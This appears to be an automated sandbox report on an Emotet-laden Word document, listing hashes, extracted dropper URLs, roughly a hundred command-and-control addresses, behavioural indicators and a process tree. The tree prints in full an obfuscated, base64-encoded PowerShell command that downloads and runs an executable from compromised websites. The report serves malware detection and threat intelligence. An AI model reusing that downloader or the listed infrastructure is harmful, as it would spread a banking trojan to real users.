emotet | 9fa9aa78d62bfbc0d93c991348275e3ab044449642accb0ea6aaf0f38f0b40be

Analysis

max time kernel
136s
max time network
135s
platform
windows10_x64
resource
win10
submitted
29/09/2020, 00:38

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General

Target
からの変更20.09.doc
Size 138KB
Sample200929-5a3fgabjnx
SHA256 9fa9aa78d62bfbc0d93c991348275e3ab044449642accb0ea6aaf0f38f0b40be
MD5 805683ff6f60e877ef66e79a7563e437
SHA1 65e2af09e15498a1017e856905f96ebe8cf8763b
SHA512 d4d5481fb8cc4b1f9adb420d826484467f723cd081cbc24e86278bad309bf8166217e7ec7b7780f376ec0fc70208b466dfa69fedd96c5fe7a89fac9b9427ff5e
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://edu.jmsvclass.com/wp-includes/sZmjSq/
exe.dropper
http://darkblessing.net/e4wftkpn/KNAO9/
exe.dropper
http://trancisconsulting.com/wp-admin/EEoF/
exe.dropper
http://devanyastore.com/wp-content/9J56juA/
exe.dropper
http://healthcureathome.com/ALFA_DATA/iKSdCK6/
exe.dropper
http://www.szwymall.com/wp-content/j29mvS/
exe.dropper
http://www.jornco.com/wp-admin/UT0xBJw/

Extracted

Family

emotet

38.18.235.242:80
5.196.108.189:8080
121.124.124.40:7080
104.236.246.93:8080
113.61.66.94:80
120.150.60.189:80
91.211.88.52:7080
47.144.21.12:443
108.46.29.236:80
139.162.108.71:8080
134.209.36.254:8080
139.59.60.244:8080
66.65.136.14:80
76.175.162.101:80
174.106.122.139:80
95.213.236.64:8080
174.45.13.118:80
50.35.17.13:80
209.141.54.221:8080
87.106.139.101:8080
96.249.236.156:443
176.111.60.55:8080
85.96.199.93:80
87.106.136.232:8080
97.82.79.83:80
185.94.252.104:443
79.98.24.39:8080
142.112.10.95:20
5.196.74.210:8080
94.1.108.190:443
24.137.76.62:80
121.7.127.163:80
37.139.21.175:8080
213.196.135.145:80
83.169.36.251:8080
24.179.13.119:80
137.59.187.107:8080
181.169.34.190:80
139.130.242.43:80
42.200.107.142:80
140.186.212.146:80
74.208.45.104:8080
188.219.31.12:80
105.186.233.33:80
93.147.212.206:80
194.187.133.160:443
61.19.246.238:443
85.152.162.105:80
5.39.91.110:7080
71.72.196.159:80
24.43.99.75:80
139.162.60.124:8080
124.41.215.226:80
67.10.155.92:80
109.74.5.95:8080
78.187.156.31:80
195.7.12.8:80
187.49.206.134:80
123.176.25.234:80
157.245.99.39:8080
78.188.106.53:443
94.200.114.161:80
94.23.237.171:443
104.251.33.179:80
68.252.26.78:80
75.139.38.211:80
103.86.49.11:8080
62.75.141.82:80
172.104.97.173:8080
79.137.83.50:443
110.142.236.207:80
162.241.242.173:8080
78.24.219.147:8080
91.146.156.228:80
118.83.154.64:443
216.139.123.119:80
121.7.31.214:80
181.169.235.7:80
139.99.158.11:443
172.91.208.86:80
46.105.131.79:8080
104.131.11.150:443
110.145.77.103:80
82.80.155.43:80
168.235.67.138:7080
50.91.114.38:80
137.119.36.33:80
203.153.216.189:7080
37.187.72.193:8080
24.43.32.186:80
130.0.132.242:80
80.241.255.202:8080
220.245.198.194:80
190.240.194.77:443
89.216.122.92:80
1.221.254.82:80
104.131.44.150:8080
62.30.7.67:443

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2476	764	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1428-15-0x00000000001E0000-0x00000000001F2000-memory.dmp	emotet
behavioral2/memory/1428-15-0x00000000001E0000-0x00000000001F2000-memory.dmp	emotet
behavioral2/memory/1428-16-0x00000000004B0000-0x00000000004C0000-memory.dmp	emotet
behavioral2/memory/1428-16-0x00000000004B0000-0x00000000004C0000-memory.dmp	emotet
behavioral2/memory/3688-19-0x00000000001D0000-0x00000000001E2000-memory.dmp	emotet
behavioral2/memory/3688-19-0x00000000001D0000-0x00000000001E2000-memory.dmp	emotet
behavioral2/memory/3688-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/3688-20-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
15	2476	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1428	Onj2qmzt.exe
3688	drt.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\SyncProxy\drt.exe	Onj2qmzt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2476	POwersheLL.exe
2476	POwersheLL.exe
2476	POwersheLL.exe
3688	drt.exe
3688	drt.exe
3688	drt.exe
3688	drt.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2476	POwersheLL.exe

Suspicious use of SetWindowsHookEx 9 IoCs

pid	Process
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE
976	WINWORD.EXE

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2476 wrote to memory of 1428	2476	POwersheLL.exe	79
PID 2476 wrote to memory of 1428	2476	POwersheLL.exe	79
PID 2476 wrote to memory of 1428	2476	POwersheLL.exe	79
PID 1428 wrote to memory of 3688	1428	Onj2qmzt.exe	82
PID 1428 wrote to memory of 3688	1428	Onj2qmzt.exe	82
PID 1428 wrote to memory of 3688	1428	Onj2qmzt.exe	82

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\からの変更20.09.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:976

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABNAHYAbQA5AHgAZABwAD0AKAAoACcARwB2AHkANgAnACsAJwB0ACcAKwAnAF8AJwApACsAJwA4ACcAKQA7AC4AKAAnAG4AZQB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBzAEUAUgBwAHIATwBGAGkATABlAFwAVAA0AFkAeQBlAFIAOABcAGgASgBfAE0ARgBaAFYAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABJAHIAZQBjAHQAbwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAGAAVQByAGkAYABUAGAAWQBwAFIATwBgAFQATwBDAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzACcAKwAnADEAMgAsACAAdABsAHMAJwArACcAMQAxACwAJwApACsAJwAgACcAKwAnAHQAbAAnACsAJwBzACcAKQA7ACQAQgAzAHUAbwBuAHQAMQAgAD0AIAAoACgAJwBPAG4AagAnACsAJwAyACcAKQArACgAJwBxACcAKwAnAG0AegAnACkAKwAnAHQAJwApADsAJABJAGQAdAA2ADQAZQBuAD0AKAAoACcARAA4ACcAKwAnADMAaAAnACkAKwAoACcANAAnACsAJwB1AHkAJwApACkAOwAkAFoAcgB0AG8AMwA2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAYwAnACsAJwBHACcAKwAoACcATAAnACsAJwBUADQAJwApACsAKAAnAHkAJwArACcAeQBlACcAKQArACgAJwByACcAKwAnADgAYwAnACkAKwAnAEcAJwArACgAJwBMACcAKwAnAEgAagBfACcAKQArACgAJwBtACcAKwAnAGYAegB2AGMARwBMACcAKQApAC4AIgBSAGUAYABQAEwAQQBDAGUAIgAoACgAWwBDAGgAYQByAF0AOQA5ACsAWwBDAGgAYQByAF0ANwAxACsAWwBDAGgAYQByAF0ANwA2ACkALAAnAFwAJwApACkAKwAkAEIAMwB1AG8AbgB0ADEAKwAoACcALgAnACsAKAAnAGUAJwArACcAeABlACcAKQApADsAJABJAG8AdAA1AGMAegBrAD0AKAAoACcATQAnACsAJwAzADMAcQA2ADAAJwApACsAJwBmACcAKQA7ACQATgByAG8AbQBvAGcAcgA9AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AbwBiAGoAZQBjAHQAJwApACAAbgBFAFQALgB3AGUAQgBDAEwASQBFAG4AdAA7ACQARQBvADYAMQB4AGMAbwA9ACgAKAAnAGgAdAB0AHAAJwArACcAOgAnACsAJwAvACcAKQArACcALwAnACsAJwBlACcAKwAnAGQAdQAnACsAJwAuAGoAJwArACgAJwBtAHMAJwArACcAdgAnACkAKwAoACcAYwBsAGEAcwBzAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwAnACkAKwAoACcAbAB1AGQAJwArACcAZQBzACcAKQArACcALwBzACcAKwAoACcAWgAnACsAJwBtAGoAJwApACsAKAAnAFMAcQAnACsAJwAvACoAJwArACcAaAB0ACcAKQArACcAdABwACcAKwAnADoAJwArACcALwAnACsAKAAnAC8AJwArACcAZABhAHIAJwApACsAJwBrACcAKwAoACcAYgBsAGUAcwAnACsAJwBzACcAKQArACcAaQBuACcAKwAoACcAZwAuACcAKwAnAG4AZQAnACkAKwAoACcAdAAvAGUAJwArACcANAB3AGYAdAAnACkAKwAnAGsAJwArACcAcABuACcAKwAoACcALwBLAE4AQQBPADkALwAqAGgAdAB0AHAAOgAvAC8AdAAnACsAJwByAGEAJwArACcAbgAnACsAJwBjAGkAJwArACcAcwAnACsAJwBjAG8AbgBzACcAKQArACgAJwB1ACcAKwAnAGwAdABpACcAKQArACcAbgBnACcAKwAnAC4AYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtAGEAJwApACsAJwBkACcAKwAoACcAbQBpAG4ALwAnACsAJwBFAEUAJwApACsAJwBvAEYAJwArACcALwAqACcAKwAoACcAaAB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBkAGUAdgBhAG4AJwArACcAeQBhAHMAJwArACcAdABvAHIAZQAnACkAKwAoACcALgBjACcAKwAnAG8AJwApACsAJwBtAC8AJwArACcAdwAnACsAKAAnAHAALQBjAG8AJwArACcAbgAnACsAJwB0AGUAJwApACsAJwBuACcAKwAoACcAdAAvACcAKwAnADkASgA1ADYAJwApACsAJwBqAHUAJwArACcAQQAnACsAKAAnAC8AJwArACcAKgBoAHQAJwArACcAdABwACcAKQArACcAOgAvACcAKwAnAC8AaAAnACsAKAAnAGUAJwArACcAYQBsAHQAaABjAHUAJwArACcAcgBlACcAKQArACcAYQAnACsAKAAnAHQAJwArACcAaABvAG0AJwApACsAKAAnAGUALgAnACsAJwBjAG8AbQAnACsAJwAvACcAKQArACgAJwBBAEwARgAnACsAJwBBAF8AJwApACsAJwBEAEEAJwArACcAVAAnACsAKAAnAEEALwAnACsAJwBpACcAKQArACgAJwBLACcAKwAnAFMAZAAnACkAKwAnAEMAJwArACgAJwBLACcAKwAnADYALwAqAGgAJwArACcAdAB0ACcAKwAnAHAAOgAnACkAKwAnAC8ALwAnACsAJwB3AHcAJwArACcAdwAnACsAJwAuAHMAJwArACgAJwB6AHcAJwArACcAeQAnACkAKwAnAG0AJwArACgAJwBhAGwAJwArACcAbAAuACcAKQArACcAYwAnACsAKAAnAG8AJwArACcAbQAvACcAKQArACcAdwAnACsAJwBwACcAKwAoACcALQAnACsAJwBjAG8AJwApACsAKAAnAG4AdABlACcAKwAnAG4AJwArACcAdAAvACcAKQArACcAagAnACsAKAAnADIAJwArACcAOQBtACcAKQArACgAJwB2ACcAKwAnAFMALwAqAGgAdAB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvAHcAdwAnACsAJwB3AC4AJwApACsAKAAnAGoAbwByAG4AYwBvAC4AYwBvACcAKwAnAG0AJwArACcALwB3ACcAKwAnAHAAJwArACcALQAnACkAKwAnAGEAJwArACgAJwBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvACcAKwAnAFUAVAAwACcAKQArACgAJwB4AEIAJwArACcASgB3AC8AJwApACkALgAiAHMAYABwAGwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVgBtAGwAXwA4AHIAcQA9ACgAKAAnAEgAJwArACcAeQBvACcAKQArACgAJwBkAGUAJwArACcAbAAyACcAKQApADsAZgBvAHIAZQBhAGMAaAAoACQAQgBrAHUAXwB0AGQAXwAgAGkAbgAgACQARQBvADYAMQB4AGMAbwApAHsAdAByAHkAewAkAE4AcgBvAG0AbwBnAHIALgAiAEQAYABvAGAAdwBuAEwATwBhAGQAZgBpAGwARQAiACgAJABCAGsAdQBfAHQAZABfACwAIAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAUABuAGYAOQBmAHoAdAA9ACgAKAAnAFYAZwBvAGEAJwArACcAbgAnACkAKwAnADkAJwArACcAbQAnACkAOwBJAGYAIAAoACgALgAoACcARwBlACcAKwAnAHQALQBJAHQAZQBtACcAKQAgACQAWgByAHQAbwAzADYAZgApAC4AIgBMAEUAYABOAGcAYABUAEgAIgAgAC0AZwBlACAAMgAzADIANQAzACkAIAB7AC4AKAAnAEkAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAFoAcgB0AG8AMwA2AGYAKQA7ACQAWABvAHEAaQB5AHIANQA9ACgAKAAnAEIAdQBvACcAKwAnAGwAaAAnACkAKwAnAGkAZgAnACkAOwBiAHIAZQBhAGsAOwAkAFkANgByADUAaAAxAGUAPQAoACcAUwAnACsAJwBmACcAKwAoACcAMgBkAHEAJwArACcAZABuACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABGAG0AaQA5AGsAdgA5AD0AKAAnAEkAXwAnACsAKAAnAGQAZgBlACcAKwAnAG0AeAAnACkAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2476
- C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe
  "C:\Users\Admin\T4yyer8\Hj_mfzv\Onj2qmzt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:1428
- - C:\Windows\SysWOW64\SyncProxy\drt.exe
    "C:\Windows\SysWOW64\SyncProxy\drt.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:3688

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/976-1-0x000001C8F22B9000-0x000001C8F22BC000-memory.dmp

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memory/976-2-0x000001C8F22B9000-0x000001C8F22BC000-memory.dmp

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memory/976-3-0x000001C8F22B9000-0x000001C8F22BC000-memory.dmp

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memory/976-4-0x000001C8F22B4000-0x000001C8F22B9000-memory.dmp

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memory/976-5-0x000001C8EEFC4000-0x000001C8EEFE4000-memory.dmp

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memory/976-6-0x000001C8F23FF000-0x000001C8F2404000-memory.dmp

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memory/976-7-0x000001C8F23FF000-0x000001C8F2404000-memory.dmp

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memory/976-8-0x000001C8F23FF000-0x000001C8F2404000-memory.dmp

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memory/976-0-0x00007FFA214A0000-0x00007FFA21B66000-memory.dmp

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memory/1428-15-0x00000000001E0000-0x00000000001F2000-memory.dmp

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memory/1428-16-0x00000000004B0000-0x00000000004C0000-memory.dmp

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memory/2476-11-0x000001FAD2A00000-0x000001FAD2A01000-memory.dmp

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memory/2476-10-0x000001FAD2850000-0x000001FAD2851000-memory.dmp

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memory/2476-9-0x00007FFA19DF0000-0x00007FFA1A7DC000-memory.dmp

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memory/3688-19-0x00000000001D0000-0x00000000001E2000-memory.dmp

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memory/3688-20-0x00000000001F0000-0x0000000000200000-memory.dmp

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